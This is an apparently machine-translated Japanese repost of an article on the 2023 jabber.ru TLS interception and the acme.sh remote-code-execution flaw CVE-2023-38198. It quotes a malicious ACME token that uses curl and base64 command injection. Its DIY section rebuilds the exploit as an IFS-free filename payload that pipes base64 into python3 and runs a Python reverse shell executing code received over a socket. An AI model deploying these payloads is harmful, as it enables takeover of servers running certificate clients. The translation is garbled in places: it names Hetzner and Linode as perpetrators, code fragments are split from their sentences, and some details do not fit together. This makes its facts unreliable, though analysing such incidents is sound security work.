
2026/05/31 4:47
合法なTLS盗聴の並列復元
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
2023 年 4 月 18 日、jabber.ru の XMPP サービスが、TLS サーティフィケートを適切に更新せずに acme.sh を介して SSL/TLS サーティフィケートを発行し始め、警告と調査を引き起こした。その数日後、CVE-2023-38198:acme.sh における遠隔コード実行(RCE)の脆弱性が発見され、これは 2023 年 6 月 8 日に公開され、6 月 9 日にパッチ適用されたリリースが利用可能になった。根本原因は、ACME http-01 チャレンジトークン内でのシェル間投(shell interpolation)であり、具体的には base64 エンコードされたペイロードで構成されたファイル名に対する IFS(Input Field Separator)の不適切な処理およびコマンドインジェクションを許可する。これにより、ネットワークルーティングを制御できる攻撃者は、CA からのレスポンスを傍受し、任意のコードを実行することが可能となり、acme.sh クライアントは通常、発行時に elevated privileges(特権)を持って動作するため、被害者のマシン上でprivileged reverse shell がしばしば実行される。同様の期間に、「HiCA」という名称の CA 組織がこの脆弱性を悪用して TLS インターセプション用の偽造サーティフィケートを発行していることが観察された。この攻撃は、/tmp に残る Python3 インタプリタのプロセスが停止した状態やその痕跡という、再起動時に一般的に削除されるフォレンジックアティファクト以外には、極めて少ない痕跡を残す。国家支援された敵対者も多数の防御を迂回する可能性があるかもしれないが、Hugo Landau のような専門家によると、作業者側の不注意な運用慣行がない限り、被害者のマシンそのものを直接侵害することはunlikely(可能性は低い)とされる。このインシデントは、標準的な暗号化でも、サーティフィケート発行ツールに利用可能な脆弱性がある場合、プライバシーは保証されないと示しており、自動化されたサーティフィケート管理を依存している組織にとっての実在するリスクを浮き彫りにしている。
本文
運輸層セキュリティ(TLS)と CA トラストに関する分析:2023 年の事例から学んだ教訓
はじめに:TLS と信頼の連鎖
トランスポートレイヤーセキュリティ(TLS)プロトコルは、ブラウザ上に表示される「鍵アイコン」を提供する仕組みです。この機能の裏側には、暗号化のために多数の数値が使用されています。
- 秘密保持数値: 厳格な秘匿が求められるデータ
- 公開数値: プログラム上で問題なく共有できるデータ
- 信頼連鎖: 自らの数値と他者の数値を組み合わせ、信頼関係(Trusted Chain)を確立・検証する仕組み
この連鎖の頂点には、**疑いようのない信頼できる実体(ルート CA)**が存在し、そこから下位へのリンクもその信頼性を継承します。高レベルな解説では詳細が省略されることもありますが、原理的な理解は実際の動作の実行能力に直結します。
過去、法執行機関による正当な捜査において、ルート CA で署名された証明書を用いた TLS 通信の監聴(リスニング)が行われ、それが検証可能であることは複数の事例で実証済みです。
事例概要:2023 年の暗号化トラフィック的中断
イベント背景
- 対象: 大規模なロシア語圏 XMPP(Jabber)メッセンジングサービス「jabber.ru」
- 加害者: Hetzner および Linode
- 行為: 2023 年に行われた、暗号化トラフィックの無断取り込み(ミッドマン攻撃の一種)
- 状況:
- この事実は単なる陰謀論ではなく現実であったことが判明し、世間を騒がせた。
- 背後には運用上のミスによる皮肉な事態があった。
- TLS 証明書の更新が放置され、結果として巨大な警告ページが表示され、調査が誘発された(作戦の「自爆」)。
分析目的
本記事では、「事後知見(Hindsight)」を活かし、TLS の本来の機能を懸念しつつも、2023 年の文脈におけるシステム全体構成と成立メカニズムを検証・再現することを目的とする。
分析:時系列と要因
大きな出来事の重要性は明白ですが、「悪魔は細部に宿る」。事象を左から右へ読むのではなく、単語クラウド(概念群)として把握し、関連性を整理するアプローチが有効です。
重要タイムライン
| 日付 | イベント内容 |
|---|---|
| 2023 年 4 月 18 日 | 不明な行動体が SSL/TLS 証明書の発行を開始(※運用ミスによる発端) |
| 2023 年 4 月 25 日 - 2023 年 11 月 3 日 | 他の出来事が発生 |
核心的な要点: 2023 年 4 月 18 日の動きと、その際に関与した
の不足部分を明確にすること。acme.sh
acme.sh と脆弱性の関係
ACME は認証局から TLS 証明書の発行・更新を行う信頼関係確立のプロトコルです。
はこれを自動化するシェルスクリプトです。acme.sh
- 通常動作: タイマーにより有効期限切れ前に証明書を更新。
- 2023 年 4 月 18 日:
が攻撃された時期と一致。acme.sh - 関連脆弱性: 6 月 8 日に公開された遠隔コード実行(RCE)脆弱性 CVE-2023-38198。
- 対象:
という CA 認証局。HiCA - パッチ提供日: 6 月 9 日。
- サーバー状態: 攻撃発端時(4 月 18 日)には未パッチ版が稼働中。
- 対象:
CVE-2023-38198 の技術詳細
GitHub の Issue 分析から、以下の要素が確認されました:
- 悪用経路: シェル埋め込み(Shell Interpolation)の欠如や、許可されない文字によるフィルタ回避。
- データ不一致: ネットワーク送信データと ACME クライアント上の表示データの表現に乖離が存在。
- Challenge オブジェクト:
フィールド内に不正なコマンドが含まれるという異例事態が発生。Token
{ "Type": "http-01", "URL": "../pki-validation", "Status": "pending", "Token": "dd#...$(curl IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`...)/bash)#" }
技術的混乱の核心:
- 明確なスペース文字が許可されず、ネストされた構造が圧縮されている。
- ACME サーバーの一部を改変し、ペイロードをミニファイ(圧縮)して操作しても動作しない。
(入力フィールドセパレーター)の再定義によるトリックは、現状のIFS
の多層な前処理により不可能である。acme.sh
結論: GitHub 上の記録とは異なるバージョン、または開発者による積極的なペイロード変更がなされていた可能性が高い。
DIY:自作実験と再現試み
GitHub に記載されたトークン応答では機能しなかったため、独自のアプローチで再構成を試みました。
試行錯誤の過程
IFS=^ によるセパレーター再定義だけでは機能せず、echo|nl を利用して単一ホワイトスペースを生成する手法を検討:
# ベース 64 で符号化された文字列をデコードし、Python3 の STDIN にパイプする $(echo aW1p... | base64 -d | python3)
コードゴルフと Python リバースシェル
Linux のファイルパス最大長制限(255 バイト)を超えないようにするため、Python コードを極限まで压缩(コードゴルフ)し、ベース 64 で符号化:
remy@bigboi:~$ ls /tmp '$(echo`echo|nl`aW1wb3J0IHNvY2tldCBhcyBzO2E9cy5zb2NrZXQocy5BRl9JTkVULHMuU09DS19TVFJFQU0pO2EuY29ubmVjdCgoIjEyNy4wLjAuMSIsOTk5OSkpO2V4ZWMoYS5yZWN2KDQwOTYpKTsg`echo|nl`|`echo|nl`base64`echo|nl`-d|python3)'
ステージ 2:完全なインタプリタ起動
証明書更新時のリソースを悪用し、完全な Python インタープリタ上でシェルコマンドを実行:
import socket as s; a=s.socket(s.AF_INET,s.SOCK_STREAM); a.connect(("127.0.0.1",9999)); exec(a.recv(4096))
プロセスツリー:
sh ./acme.sh ... (PID 124643) └─ python3 (PID 124647) ← ここでリバーシブルシェルが発生
まとめと教訓
今回の事件は、以下の複合要因による結果でした。
原因の要因
- 運用ミス: TLS 証明書の更新忘れのみならず、インターセプション(傍受)システムの撤廃忘れ。
- 脆弱性の存在: RCE 脆弱性(CVE-2023-38198)が利用可能であり、別のアクターによる積極的な悪用。
- 監聴の実装: ワイレットップャー(盗聴者)は既存証明書のコピーを用いて TLS インターセプションを行い、痕跡を残さず活動。
本質的な脆弱性
- プロトコル自体には厳格さがありますが、プロトコルを実行するソフトウェア(例:
や Python 標準ライブラリ)が常に最も弱いリンクとなります。acme.sh - リバースエンジニアリングにより過去の技術デバイスの墓地から確認できるように、長年にわたって脆弱性は残存しています。
- 悪意ある CA やネットワークルートの完全な影響がない限り到達できませんが、作業者が少しサボった場合、非常に簡易的な実行が可能で、神話や伝説として扱われるべき領域です。
今後の対策と考察
Hugo Landau の引用にある通り、「より能動的な国家演者(Mallory)がどのように行動するか」を考える必要があります。被害者のマシンを直接危害を加えるのではなく、証明書を更新するシステム自体に侵入し、無断で監聴可能な偽の信頼連鎖を構築するシナリオは常に可能です。
さらに詳細な事後分析や防衛策については以下の資料を参照してください: